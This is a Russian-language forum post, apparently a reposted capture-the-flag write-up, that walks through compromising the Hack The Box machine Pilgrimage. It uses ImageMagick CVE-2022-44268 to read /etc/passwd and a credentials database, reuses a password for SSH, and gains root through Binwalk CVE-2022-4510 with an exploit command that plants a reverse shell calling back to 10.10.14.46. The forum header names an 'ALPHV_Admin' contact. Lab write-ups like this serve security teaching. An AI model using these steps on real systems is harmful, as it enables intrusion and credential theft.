• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии через уязвимость в Binwalk

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как воспользоваться утилитой для работы с бинарными файлами Binwalk, чтобы получить контроль над Linux. Но сначала попентестим веб‑сервер и проникнем на него благодаря неаккуратному использованию разработчиком утилиты ImageMagick.
Разбирать в этот раз будем тренировочную машину Pilgrimage с площадки Hack The Box. Уровень ее сложности — «легкий».

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.219 pilgrimage.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:
  • 22 — служба OpenSSH 8.4p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Также Nmap показал доступный каталог .git в корне сайта.

Главная страница сайта
Главная страница сайта

Точка входа​

Используем утилиту git-dumper, чтобы скачать весь репозиторий.

git-dumper Для просмотра ссылки Войди или Зарегистрируйся pilgrimage_git
Логи git-dumper
Логи git-dumper

Для работы с git-репозиториями я использую функцию «Система управления версиями» в VS Code. В этом репозитории нашелся всего один коммит — начальный.

История коммитов
История коммитов

Переходим к анализу исходного кода сайта. Для регистрации и авторизации, как мы узнали из файлов register.php и login.php, используется база данных SQLite.

Содержимое файла register.php
Содержимое файла register.php
Содержимое файла login.php
Содержимое файла login.php

Регистрируемся на сайте, который предлагает нам загрузить изображение, чтобы уменьшить его. Версии «до» и «после», вероятно, будут показаны в таблице ниже.

Главная страница пользователя
Главная страница пользователя

Давай заглянем в исходный код файла index.php. Здесь обрабатывается POST-запрос, содержащий изображение. Переданное изображение сохраняется на сервере и с помощью утилиты ImageMagick уменьшается вдвое. После обработки пользователю предлагают загрузить новое изображение.

Содержимое файла index.php
Содержимое файла index.php

Сам модуль ImageMagick тоже присутствует в каталоге сайта. Нам нужно узнать его версию, а затем поискать публично доступные эксплоиты. Мы можем манипулировать входными данными, а это типичный источник угроз.

./magic -version
Версия программы ImageMagick
Версия программы ImageMagick

У нас версия ImageMagick 7.1.0-49, ищем в Google готовый эксплоит.

Поиск эксплоита в Google
Поиск эксплоита в Google

Точка опоры​

Приложение ImageMagick 7.1.0-49 имеет уязвимость CVE-2022-44268 — чтение произвольного файла. Это даст нам возможность получать содержимое определенных файлов с удаленной системы. Причина уязвимости заключается в том, что при изменении размера изображения ImageMagick будет включать содержимое профиля в создаваемое изображение, при этом мы можем манипулировать значением этого профиля. Можем, например, к картинке добавить чанк текстового типа (например, tEXt), содержащий ключ и строку‑значение. Если ключ — строка profile, то ImageMagick интерпретирует значение как имя файла в системе и загружает его содержимое как необработанный профиль, после чего из нового изображения можно прочитать этот профиль в HEX-формате.

Для автоматического изменения PNG используем Для просмотра ссылки Войди или Зарегистрируйся. Для пробы прочитаем файл /etc/passwd.

cargo run "/etc/passwd"
Создание изображения-нагрузки
Создание изображения‑нагрузки
Теперь загружаем в веб‑сервис созданное изображение‑нагрузку, после чего получаем ссылку на новое изображение, с измененным размером.

Результат обработки изображения
Результат обработки изображения
Скачиваем полученный файл и находим в нем чанк с профилем.

Код:
wget http://pilgrimage.htb/shrunk/64a7e8f368191.png
identify -verbose 64a7e8f368191.png
Профиль в преобразованном приложении
Профиль в преобразованном приложении
Используем Для просмотра ссылки Войди или Зарегистрируйся для декодирования шестнадцатеричного значения и получаем содержимое файла /etc/passwd, раскрывающее нам список пользователей.

Декодированный файл /etc/passwd
Декодированный файл /etc/passwd
Уязвимость подтвердили, а значит, можем скачать и другие интересные файлы. Например, файл базы данных SQLite /var/db/pilgrimage, о котором мы узнали из исходного кода. Здесь наверняка найдутся учетные данные пользователей сайта.

Профиль нового изображения
Профиль нового изображения
Декодированный файл /var/db/pilgrimage
Декодированный файл /var/db/pilgrimage
Это «сырые» данные, в которых можно заблудиться, поэтому активируем еще одну функцию CyberChef, чтобы отобразить только строки.

Строки из файла /var/db/pilgrimage
Строки из файла /var/db/pilgrimage
Таким образом получаем учетные данных трех пользователей. Нас интересует emily, поскольку такой пользователь есть и в системе тоже. Пробуем подключиться к SSH с этим же паролем и забираем флаг пользователя.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию. Чтобы не тратить время на поиски и догадки, я в таких случаях использую скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

В дереве процессов видим скрипт /usr/sbin/malwarescan.sh, запускающий приложение inotifywait.

Дерево процессов
Дерево процессов
В списке файлов, измененных за последние пять минут, видим /var/www/pilgrimage.htb/shrunk/malicious.pfs. Этот же каталог передавался inotifywait.

Последние измененные файлы
Последние измененные файлы

К тому же у нас есть право записи в каталог /var/www/pilgrimage.htb/shrunk/ и файлы в нем.

Файлы, доступные для записи
Файлы, доступные для записи

Дальше я обычно использую утилиту Для просмотра ссылки Войди или Зарегистрируйся, которая выводит информацию о запущенных процессах. Так обнаружился периодический запуск скрипта /usr/sbin/malwarescan.sh от имени пользователя root.

Логи pspy64
Логи pspy64
Давай глянем, что это за скрипт.

Содержимое файла malwarescan.sh
Содержимое файла malwarescan.sh

Здесь происходит вызов программы Binwalk, которой поочередно передаются файлы из каталога /var/www/pilgrimage.htb/shrunk/. Проверим версию используемой программы и поищем эксплоиты для нее.

Версия программы Binwalk
Версия программы Binwalk
Поиск эксплоита для Binwalk
Поиск эксплоита для Binwalk
По первой ссылке представлен Для просмотра ссылки Войди или Зарегистрируйся для уязвимости CVE-2022-4510.

Справка по эксплоиту
Справка по эксплоиту

Эта версия Binwalk допускает обход каталога через функцию extractor в модуле plugins/unpfs.py. Когда Binwalk запускается с параметром -e, атакующий может извлечь файлы, находящиеся в любом каталоге файловой системы. Найденный эксплоит создает файл, который при обработке извлекает нагрузку в каталог .config/binwalk/plugins. Нагрузка — это реверс‑шелл, что дает нам возможность удаленного выполнения кода. Создаем такой файл и помещаем в каталог /var/www/pilgrimage.htb/shrunk/.

python3 51249.py exp.png 10.10.14.46 4321
Создание файла с нагрузкой
Создание файла с нагрузкой
Содержимое каталога /var/www/pilgrimage.htb/shrunk/
Содержимое каталога /var/www/pilgrimage.htb/shrunk/
Запускаем листенер (pwncat-cs -lp 4321) и получаем бэкконнект от имени рута.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу